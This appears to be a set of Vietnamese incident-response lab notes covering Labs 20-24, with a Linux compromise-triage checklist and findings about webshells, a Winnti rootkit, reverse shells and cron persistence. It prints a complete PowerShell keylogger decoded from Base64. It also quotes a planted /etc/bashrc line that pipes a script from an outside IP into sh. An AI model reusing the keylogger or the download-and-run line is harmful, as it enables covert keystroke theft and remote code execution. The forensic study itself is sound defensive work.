AtAEsAZQB5AEwAbwBnAGcAZQByAA==

Decode Base64 phát hiện đây là một keylogger

#requires -Version 2
function Start-KeyLogger($Path="$env:temp\logfile.txt") 
{
  # Signatures for API Calls
  $signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode); 
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@

  # load signatures and make members available
  $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
    
  # create output file
  $null = New-Item -Path $Path -ItemType File -Force

  try
  {
    #Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red

    # create endless loop. When user presses CTRL+C, finally-block
    # executes and shows the collected key presses
    while ($true) {
      Start-Sleep -Milliseconds 40
      
      # scan all ASCII codes above 8
      for ($ascii = 9; $ascii -le 254; $ascii++) {
        # get current key state
        $state = $API::GetAsyncKeyState($ascii)

        # is key pressed?
        if ($state -eq -32767) {
          $null = [console]::CapsLock

          # translate scan code to real code
          $virtualKey = $API::MapVirtualKey($ascii, 3)

          # get keyboard state for virtual keys
          $kbstate = New-Object Byte[] 256
          $checkkbstate = $API::GetKeyboardState($kbstate)

          # prepare a StringBuilder to receive input key
          $mychar = New-Object -TypeName System.Text.StringBuilder

          # translate virtual key
          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)

          if ($success) 
          {
            # add key to logger file
            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 
          }
        }
      }
    }
  }
  finally
  {
    # open logger file in Notepad
    # notepad $Path
  }
}

# records all key presses until script is aborted by pressing CTRL+C
# will then open the file with collected key codes
Start-KeyLogger
tiến trình thực thi keylogger trên Procexp

Lab 20

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run với giá trị là file thực thi không có chữ ký C:\Users\hunter\AppData\Roaming\WPDNSE\svchost.exe

Syscheck ra kết quả là tệp sethc.exe không được ký

Linux checklist

#Rà soát Linux

#Rà soát tiến trình:
ps -eo user,pid,ppid,pcpu,pmem,comm,lstart,etime,args | more			# getlog
ps -ef | more
readlink -f /proc/*/exe

#Rà soát kết nối mạng:
netstat -ntlpu | more
netstat -nap | more			# getlog

#Rà Preload
echo $LD_PRELOAD
ls -latr /etc/ld.so.preload

#Rà soát autoruns:
ls -latr /etc/cron*											#-> schedule
ls -latr /var/spool/cron/crontabs
#-> xem exported lib .so -> check library load lên 
ls -latr /home/*/.bashrc
ls -latr /home/*/.bash_profile
ls -latr /home/*/.bash_logout

ls -latr /etc/profile
ls -latr /etc/environment
ls -latr /etc/bashrc
ls -latr /etc/bash.bashrc
ls -latr /etc/bash.bash_logout

ls -latr /etc/init.d/ | more
ls -latr /etc/rc*.d/ | more

ls -latr /etc/ssh/sshrc
ls -latr /etc/xdg/lxsession/Lubuntu/autostart
ls -latr /usr/share/autostart
ls -latr /etc/xdg/xfce4/xinitrc

#Rà soát users:
cat /etc/passwd
cat /etc/sudoers

#Rà soát command history:
cat /var/log/cmdlog.log | more					# getlog
cat /home/*/.bash_history | more				# getlog

cat /home/*/.sh_history | more
cat /home/*/.vi_history | more

cat /var/log/secure* | grep Accepted |more		# getlog
last|more
lastlog

#Rà soát thư mục quan trọng:
ls -latr /tmp | more
ls -latr /var/run | more

#Rà soát tunnel :
iptables -L -vn -t nat

#Kiểm tra server endpoint :
service salt-minion status
#Kiểm tra ConnectWise /etc/init.d/screenconnect
service screenconnect status
#Máy có cài libpcap:
#Có thư mục 
ls -latr /usr/include/pcap
#- Có process đang load thư viện libpcap:
find /proc/ -iname "libpcap.so"
#=>> output sẽ có pid của process đang load libpcap.so
#Lưu ý Winnti 
stat /lib/libxselinux
stat /lib/libxselinux.so
stat /lib64/libxselinux
stat /lib64/libxselinux.so
ls -latr /etc/ld.so.preload

#Lấy log audit
cat /var/log/audit/audit.log|more				# getlog

#Bổ sung trong trường hợp cần rà user root, ...
ls -latr /etc/
ls -latr /usr/sbin
ls -latr /usr/bin

ls -latr /root/.bashrc
ls -latr /root/.profile 
ls -latr /root/.bash_profile
ls -latr /root/.bash_logout 
cat /root/.bash_history | more

#Phụ lục:
#Copy file :
Scp from to
Example: scp 1.txt user@ip:2.txt
#Lấy full đường dẫn process từ pid: 
readlink –f /proc/pid/exe
#Lấy hash 1 file: 
md5sum /path
#Nén zip 
zip -P password -r filename.zip foldername
#Tạo thư mục sample
mkdir folder
cp -i {Pathfile} {Pathfolder}  - đệ qui folder-folder dùng -Ri
mv -i {Pathfile} {Pathfolder}  - đệ qui folder-folder dùng -Ri
#Cleanup
rm -rf file/folder
kill PID

#Check Lỗ hổng 
# Check opatch
# Các phiên bản chưa cập nhật bản vá (CVE-2018-2879 ): 11.1.2.3.0, 12.2.1.3.0 hoặc thấp hơn
$Oracle_Home/OPatch/opatch lsinventory -detail

# Check primefaces
# version trả về < 5.3.8 nếu là 5.3.* hoặc < 5.2.21 cho các trường hợp khác.
cat /proc/*/maps | grep -e "primefaces-5.*.jar"

# Check RMI
# Check cac ung dung java su dung mmserver -> co nguy co mac lo hong rmi
ps -ef|grep java|grep mmserver


# Check Solr
# Kiểm tra version trả về bị lỗi nếu nằm trong khoảng:
# o 5.5.0 đến 5.5.4
# o 6.0.0 đến 6.6.1
# o 7.0.0 đến 7.0.1
cat /proc/*/maps | grep -e "solr-core-.*.jar"

# Spring
# Kiem tra tien trinh java co su dung Spring Boot -> xac dinh version
# Spring Boot Trước 1.3.1
# Trước 1.2.8 1.3.1 trở đi
# 1.2.8 trở đi
# 2  Spring Oauth Từ 2.0.0 tới 2.0.9
# Từ 1.0.0 tới 1.0.5 2.0.10 trở đi
cat /proc/*/maps | grep spring-boot

# stuts
# Các ứng dụng có sử dụng bản cũ hơn hai phiên bản 2.5.17 và 2.3.35 có nguy cơ mắc lỗ hổng
cat /proc/*/maps|grep "struts2-core" | grep -v -E "2.5.17|2.3.35"

Lab 21

Khi thực thi lệnh luôn để lại alert, khả năng LD_PRELOAD đã bị lạm dụng

Không thể cat, nhưng dùng vi có thể xem được nội dung

Phát hiện Rootkit Winnti

06c20c95ca7a0e9a2c94ee738e150ce2  /lib64/libxselinux.so

Thor Lite phát hiện webshell tại

/var/www/html/simple-php-website/css/404.php

/var/www/html/simple-php-website/css/template.php

Có thể tìm thấy mã nguồn tại github

Webshell cho phép kẻ tấn công kiểm soát hệ thống từ xa bằng cách thực hiện các lệnh hệ thống, tải lên tệp, duyệt thư mục, và thực hiện các truy vấn SQL

Lab 22

Dấu hiệu reverse shell qua Netcat

Thor Lite phát hiện webshell tại /var/lib/tomcat/webapps/muabannhadat/web/js/app.jsp

Có thể tìm thấy webshell này trên github

Webshell này hoạt động như một proxy ngầm cho phép kẻ tấn công sử dụng máy chủ bị xâm nhập như một trạm trung gian để kết nối đến các hệ thống khác trong mạng nội bộ mà từ bên ngoài không thể truy cập trực tiếp

Lab 23

Khi SSH vào Server, xuất hiện hiển thị lạ

Khi ra soát, phát hiện /etc/bashrc được sửa đổi gần đây

Nội dung thêm vào:

# vim:ts=4:sw=4
curl -s -L http://217.12.221.12/Ci.sh|sh

Đoạn mã tải về thực thi một bash shell từ một nguồn không rõ bất kỳ khi nào người dùng mở một shell

Lab 24

Cứ một chốc lại nhận được thông báo trên terminal về mail

Khi cat nội dung thì biết nó được gửi từ cron daemon, thông báo lỗi về một tác vụ crontab

Khi rà soát có thể phát hiện command line trong /var/log/cmd.log

Đoạn mã này sẽ thêm một crontab chạy mỗi phút, tạo một revershell trên port 443

Thor Lite phát hiện webshell tại /var/lib/tomcat/webapps/muabannhadat/web/PostThue.jsp

có thể tìm thấy webshell tại github

Last updated